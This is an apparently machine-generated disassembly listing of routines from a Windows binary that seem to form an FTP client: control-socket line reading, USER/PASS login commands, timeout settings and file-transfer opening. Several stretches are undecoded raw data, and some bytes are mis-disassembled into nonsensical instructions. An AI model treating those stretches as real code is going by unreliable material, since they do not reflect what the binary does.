sub_42C810	proc near		; CODE XREF: sub_401A69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		call	near ptr 77C46125h
		nop
		mov	ebp, eax
		push	3Ah
		push	ebp
		call	near ptr 77C47660h
		nop
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42C884
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_436F96
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44546868h, 7BE89000h, 837780A5h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42C884:				; CODE XREF: sub_42C810+47j
		mov	[esi], bl
		mov	eax, dword_50FB14
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42C8A2
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42C8B2
; ---------------------------------------------------------------------------


loc_42C8A2:				; CODE XREF: sub_42C810+7Fj
		mov	eax, dword_50FA78
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42C8B2:				; CODE XREF: sub_42C810+90j
		cmp	eax, ebx
		jz	short loc_42C8CD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_436F36
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42C8E1
; ---------------------------------------------------------------------------


loc_42C8CD:				; CODE XREF: sub_42C810+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_436F96
sub_42C810	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C8E1	proc near		; CODE XREF: sub_42C810+BBj
		push	ebp
		call	sub_436EF4
sub_42C8E1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42C92D
		push	ebp
		call	sub_436EE8
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 58681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42C92D:				; CODE XREF: ___:0042C8EEj
		push	ebp
		mov	ebp, dword_50FAC4
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 445450h, 0A49CE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 0DE85700h,	830000A6h, 775FFF8h, 44544068h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
		dd 52406807h, 1BEB0044h, 14468h, 0E8016A00h, 777FF71Bh
		dd 83F08B90h, 0F33B08C4h, 38681E75h, 0E8004454h, 7780A436h
		dd 4C48390h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 0FA2DE800h,	8390777Fh, 0C33B04C4h, 75144689h
		dd 54386824h, 0E8900044h, 7780A402h, 5704C483h,	0A50DE8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB10	proc near		; CODE XREF: ___:0042D266p
					; sub_42DFD0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CB4A


loc_42CB32:				; CODE XREF: sub_42CB10+8Ej
					; sub_42CB10+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CB4A:				; CODE XREF: sub_42CB10+20j
		mov	eax, dword_50E3DC
		mov	ebx, dword_50FA80
		cmp	eax, 1
		jle	short loc_42CB6E
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CB6E:				; CODE XREF: sub_42CB10+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42CBEE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		call	near ptr 77C47A90h
		nop
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42CC50
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CB32
		mov	ebp, dword_50FAD4


loc_42CBA6:				; CODE XREF: sub_42CB10+D7j
		cmp	dword_50E3DC, 1
		jle	short loc_42CBC4
		mov	edx, dword_50FA84
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CBC4:				; CODE XREF: sub_42CB10+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CBEE
		push	edi
		push	100h
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CBA6
		jmp	loc_42CB32
; ---------------------------------------------------------------------------


loc_42CBEE:				; CODE XREF: sub_42CB10+62j
					; sub_42CB10+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42CB10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CC50	proc near		; CODE XREF: sub_42CB10+15p
					; sub_42CB10+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42CC80
		cmp	eax, 1
		jz	short loc_42CC80
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC80:				; CODE XREF: sub_42CC50+1Ej
					; sub_42CC50+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42CC92
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC92:				; CODE XREF: sub_42CC50+36j
					; sub_42CC50+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42CCE3
		cmp	ebx, edi
		jge	short loc_42CCA0
		lea	edi, [ebx-1]


loc_42CCA0:				; CODE XREF: sub_42CC50+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CCB9
		mov	edi, eax
		sub	edi, ebp


loc_42CCB9:				; CODE XREF: sub_42CC50+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42CD6A


loc_42CCE3:				; CODE XREF: sub_42CC50+47j
		cmp	ebx, 1
		jz	loc_42CDBD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42CD0B
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42CD0B:				; CODE XREF: sub_42CC50+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42CDD0
		push	esi
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	loc_42CE02
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CDEC
		test	eax, eax
		jnz	short loc_42CD4F
		mov	[esp+18h+var_4], 1


loc_42CD4F:				; CODE XREF: sub_42CC50+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42CC92
; ---------------------------------------------------------------------------


loc_42CD6A:				; CODE XREF: sub_42CC50+8Dj
		sub	ebp, 2
		mov	esi, offset asc_445230 ; "\r\n"
		mov	eax, ebp


loc_42CD74:				; CODE XREF: sub_42CC50+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		test	cl, cl
		jz	short loc_42CD98
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42CD74


loc_42CD98:				; CODE XREF: sub_42CC50+130j
		xor	eax, eax
		jmp	short loc_42CDA1
; ---------------------------------------------------------------------------


loc_42CD9C:				; CODE XREF: sub_42CC50+12Cj
					; sub_42CC50+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42CDA1:				; CODE XREF: sub_42CC50+14Aj
		test	eax, eax
		jnz	short loc_42CE02
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDBD:				; CODE XREF: sub_42CC50+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDD0:				; CODE XREF: sub_42CC50+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42CE02
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDEC:				; CODE XREF: sub_42CC50+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42CE02:				; CODE XREF: sub_42CC50+D2j
					; sub_42CC50+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42CC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CE80	proc near		; CODE XREF: sub_42CC50+C8p
					; sub_42DC70:loc_42DC9Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42CF63
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42CF63
		cmp	eax, 2
		jnz	short loc_42CEB5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42CEB9
; ---------------------------------------------------------------------------


loc_42CEB5:				; CODE XREF: sub_42CE80+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42CEB9:				; CODE XREF: sub_42CE80+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42CEC0:				; CODE XREF: sub_42CE80+98j
		cmp	eax, 40h
		jnb	short loc_42CED5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42CED5:				; CODE XREF: sub_42CE80+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_436F12
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CF1A
		test	eax, eax
		jg	short loc_42CF51
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42CF56
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42CEC0
; ---------------------------------------------------------------------------


loc_42CF1A:				; CODE XREF: sub_42CE80+79j
		push	100h
		xor	edi, edi
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF51:				; CODE XREF: sub_42CE80+7Dj
		mov	edi, 1


loc_42CF56:				; CODE XREF: sub_42CE80+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF63:				; CODE XREF: sub_42CE80+19j
					; sub_42CE80+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42CE80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CFC0:				; CODE XREF: ___:00401410j
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42D06F	; default
		jmp	off_42D074[eax*4] ; switch jump


loc_42CFD7:				; DATA XREF: ___:off_42D074o
		mov	eax, [esp+8]	; jumptable 0042CFD0 case 0
		cmp	eax, 1
		jz	short loc_42CFE9
		cmp	eax, 2
		jnz	loc_42D06F	; default


loc_42CFE9:				; CODE XREF: ___:0042CFDEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42CFF8:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	edx, [esp+0Ch]	; jumptable 0042CFD0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D00B:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		push	esi		; jumptable 0042CFD0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D04C:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D05F:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42D06F:				; CODE XREF: ___:0042CFCAj
					; ___:0042CFE3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42D074	dd offset loc_42CFD7	; DATA XREF: ___:0042CFD0r
		dd offset loc_42CFF8	; jump table for switch	statement
		dd offset loc_42D00B
		dd offset loc_42D04C
		dd offset loc_42D05F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D0D0	proc near		; CODE XREF: sub_402243j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	edi, dword_50FA60
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D13D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D13D:				; CODE XREF: sub_42D0D0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D161:				; CODE XREF: sub_42D0D0+1Bj
					; sub_42D0D0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42D0D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D1A0	proc near		; CODE XREF: sub_42D0D0+51p
					; sub_42D0D0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42D1C3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D1C3:				; CODE XREF: sub_42D1A0+15j
		mov	eax, dword_50E3DC
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42D1EC
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42D1EC:				; CODE XREF: sub_42D1A0+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42D20C
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D20C:				; CODE XREF: sub_42D1A0+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset dword_443CE4
		push	ecx
		nop
		call	near ptr 77C3F931h
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_436F00
sub_42D1A0	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		mov	esp, 0E8004454h
		movsd
		wait
		xor	byte ptr [edi-70h], 83h
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D2C0	proc near		; CODE XREF: sub_401F55j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42D30C
		cmp	edi, 4
		jz	short loc_42D2E6
		cmp	edi, 3
		jnz	short loc_42D30C


loc_42D2E6:				; CODE XREF: sub_42D2C0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D30C:				; CODE XREF: sub_42D2C0+1Aj
					; sub_42D2C0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_50FA60
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_445504
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	loc_42D4CE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42D4BF	; default
		jmp	off_42D4DC[eax*4] ; switch jump


loc_42D358:				; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454FC ; jumptable 0042D351 case 1
		mov	dl, byte_445500
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D373:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	eax, dword_4454F4 ; jumptable 0042D351 case 2
		mov	cl, byte_4454F8
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D38D:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	edx, dword_4454EC ; jumptable 0042D351 case 3
		mov	al, byte_4454F0
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D3A7:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454E4 ; jumptable 0042D351 case 4
		mov	dl, byte_4454E8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42D3C0:				; CODE XREF: sub_42D2C0+B1j
					; sub_42D2C0+CBj ...
		test	esi, esi
		jz	short loc_42D413
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42D4CE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42D413:				; CODE XREF: sub_42D2C0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42D580
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D4CE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D468
		mov	eax, [esi]
		push	eax
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D468:				; CODE XREF: sub_42D2C0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42D4AF
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42DA60
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D4AF
		mov	ecx, [esi]
		push	ecx
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4AF:				; CODE XREF: sub_42D2C0+1B8j
					; sub_42D2C0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4BF:				; CODE XREF: sub_42D2C0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42D4CE:				; CODE XREF: sub_42D2C0+7Fj
					; sub_42D2C0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42D2C0	endp

; ---------------------------------------------------------------------------
		align 4
off_42D4DC	dd offset loc_42D358	; DATA XREF: sub_42D2C0+91r
		dd offset loc_42D373	; jump table for switch	statement
		dd offset loc_42D38D
		dd offset loc_42D3A7
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D580	proc near		; CODE XREF: sub_42D2C0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
